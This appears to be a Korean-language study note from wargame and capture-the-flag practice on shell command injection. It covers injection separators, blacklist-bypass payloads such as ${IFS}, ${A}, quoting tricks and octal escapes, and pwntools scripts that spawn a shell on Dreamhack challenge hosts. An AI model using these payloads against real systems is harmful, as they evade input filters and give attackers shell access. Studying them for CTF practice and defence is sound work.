shellscript & shell blacklist shortcut

이 글은 우리가 리눅스에서 사용하는 셸 스크립트 중에서 Pwnable을 하면서 유용한 정보들을 정리해놓는 곳이다.

Injection in shellscript

C
 scanf("%s" , content)
 sprintf(tmp ,"echo %s > /home/Dnote/note", content);
 system(tmp);

다음과 같은 상황일때 가능한 경우는 다음과 같다.

  1. 특수문자로 새로운 명령어를 실행
  2. 명령어의 결과를 넣어서 오류로 결과를 보기

둘다 비슷한 조건을 가지고 사실상 1번이 2의 상위호환인 느낌이다.

일단 1번의 경우에서는 새로운 명령어로 sh 를 실행시키는 것이 가장 고점이다.

; → 앞에 명령어를 끝내고 새로운 명령어를 실행하기

&& → 앞에 명령어가 성공 할때 뒤에 명령어 실행

& → 앞에 명령어를 백그라운드로 돌리고 뒤에 명령어 실행

`sh` ->` cmd ` 명령어의 결과를 가져오기

C
(pwn) amemoyoi ~$ echo date
date
(pwn) amemoyoi ~$ echo `date`
Sat Aug 16 10:19:28 PM KST 2025
(pwn) amemoyoi ~$ 

여기서 sh를 넣음으로써 셸을 실행시킬 수 있다.

os.system(f"ping -c 1 {cmd}") 다음과 같은 코드에서 만약 cmd에 `sh` 을 넣었다면

C
cat flag 
;
sh: 2: Syntax error: ";" unexpected
ping: WaRP{d1dn7_y0u_p1n6?}: Name or service not known

다음과 같이 cat flag를 해도 당연히 결과가 안나온다. 명령어의 결과를 원래 셸스크립트에 넣는 것이기 때문.

즉, 여기서 ; 으로 명령어를 끝내면 다음과 같이 오류로 cat flag의 결과를 볼 수 있다.

C
(pwn) amemoyoi ~$ nc host8.dreamhack.games 12491
Welcome to the command challenge!
Enter the ping: $(s""h"")
cat flag 
exit 
ping: WaRP{d1dn7_y0u_p1n6?}: Name or service not known

물론 다음과 같이도 가능하다.

$( cmd ) → ` cmd ` 와 같이 명령어의 결과를 가져오기

C
Enter the ping: $(s${A}h)
cat flag >&2
WaRP{d1dn7_y0u_p1n6?}

또한 다음과 같이 cat flag >&2 으로 결과를 표준 에러(stderr)로 출력해서 기존 f"ping -c 1 {cmd}" 에 들어가는 것이 아닌 표준에러로 출력되기에 바로 출력된다. ( 바로 터미널로 확인 가능 )

>&2 이게 상당히 중요하다

# → 뒤에 스크립트를 주석으로 만들기

아래 링크 참조

https://dreamhack.io/wargame/writeups/6110

how to bypass blacklist

ENV & 변수 출력 ${ env }

C
p.sendline(b'`s${A}h`')
p.sendline(b'`bas${A}h`')

sh , bash 같은 문자열이 블랙리스트 일때 ${A} 를 사용하면 A 변수에는 아무값도 없기에 `sh` 가 되면서 sh이 실행된다.

${IFS}

scanf("%31s", cat_name); 으로 문자열을 받으면

`cat flag` 할때 중간에 공백에서 잘리게 된다. 이는 scanf가 스페이스로 인자를 나누기 때문인데

이를 bypass 하기 위해서는

C
`cat${IFS}flag`

다음과 같은 테크닉이 필요하다

${IFS}는 리눅스에서 단어 분리에 사용되는 기준이 뭔가에 대한 환경변수이다.

C
root@47d252757cc6:/home/cat_jump# printf "%s" "$IFS" | od -t x1
0000000 20 09 0a
0000003

좀더 자세히 다룬것에 대해 정리해놓았다.

“” blank

C
$(s""h"")

sh이 블랙리스트 일때 다음과 같이 blank를 통해 블랙리스트를 bypass 가능하다.

$($0)

신기하다 $0의 변수값을 실행시키는 코드인데

Shell
root@b2b537cdcd74:/home/pwn# echo $0
bash

다음과 같이 일반적인 리눅스에서는 bash나 sh로 지정되어 있다.

Shell
Enter the ping: $($0)
cat flag >&2
WaRP{d1dn7_y0u_p1n6?}

따라서 다음과 같이 셀이 실행된다.

물론 리눅스에서 어느 정도 버전이상 부터는

Shell
(pwn) amemoyoi ~$ echo $0
-bash
(pwn) amemoyoi ~$ $($0)
Command '-bash' not found, did you mean:
  command 'rbash' from deb bash (5.2.21-2ubuntu1)
  command 'bash' from deb bash (5.2.21-2ubuntu1)
Try: sudo apt install <deb name>
(pwn) amemoyoi ~$ 

다음과 같이 -bash 로 -를 붙여서 보안장치를 해놓았다.

str copy

cat , flag , sh 과 모든 특수 문자가 막혀도

C
  read(0, s, 255uLL);
  n = strlen(s);
  v8[495] = 0;
  for ( i = 0; i <= 0x25; ++i )
  {
    if ( strstr(s, needle[i]) )
    {
      puts("Nope!");
      exit(0);
    }
  }
  memcpy(dest, s, n);
  dest[1023] = 0;
  system(dest);

다음과 같이 memcpy 로 복사를 해서 할때는 뒤에서 부터 채울 수있다.

C
# cat flag
first = b"A" * 5 + b"lag"
p.send(first)

second = b"A" + b"at f"
p.send(second)

third = b"c"
p.send(third)

8진수 이스케이프

Shell
from pwn import *

p = remote('host8.dreamhack.games', 9226)

cmd = ''.join([f'\\0{oct(c)[2:]}' for c in b"cat flag"]).encode()
payload = b'$($(echo\t\t"' + cmd + b'"))'
p.sendlineafter(b'ping: ', payload)

p.interactive()

8진수로 보내고 셸에서 8진수를 해석하게 하는 방식, 당장 블랙리스트가 문자열로 되어 있기에 이를 bypass 가능한 신박한 방법

when black cat instruntion

cat 명령어를 ban 했을때 flag 파일을 출력하는 대용법들.

C
head -n1 flag
tail -n +1 flag       # 전체
sed -n '1,200p' flag
awk '1' flag          # 그대로 출력
dd if=flag status=none
xxd flag | head